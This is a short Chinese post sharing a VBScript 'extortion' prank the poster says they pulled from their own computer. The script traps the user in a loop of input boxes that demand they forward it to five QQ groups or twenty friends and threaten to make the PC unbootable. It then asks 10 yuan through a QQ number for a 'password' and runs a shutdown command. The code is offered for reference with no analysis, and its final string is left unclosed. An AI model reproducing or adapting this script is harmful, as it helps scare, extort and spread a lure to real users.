给个参考用的敲竹杠的代码.....我从电脑里面提取的、
dim a
do while(a <> "http://www.2345.com/?k2114701647")
a = inputbox ("速度转发给五个QQ群或者20个QQ好友、完事联系QQ165338592不然你也别想关掉、重启就让你开不开机,让你电脑瘫痪,不信你试试"" ","加不加","对不起系统没有检测到你把软件发至五个群",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"哈哈!关不掉的,加吧。"
loop
msgbox chr(13) + chr(13) + chr(13) + "哈哈!想要密码了吧,联系Q1965338592...10元给你 "
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "本软件由1965338592制作
 |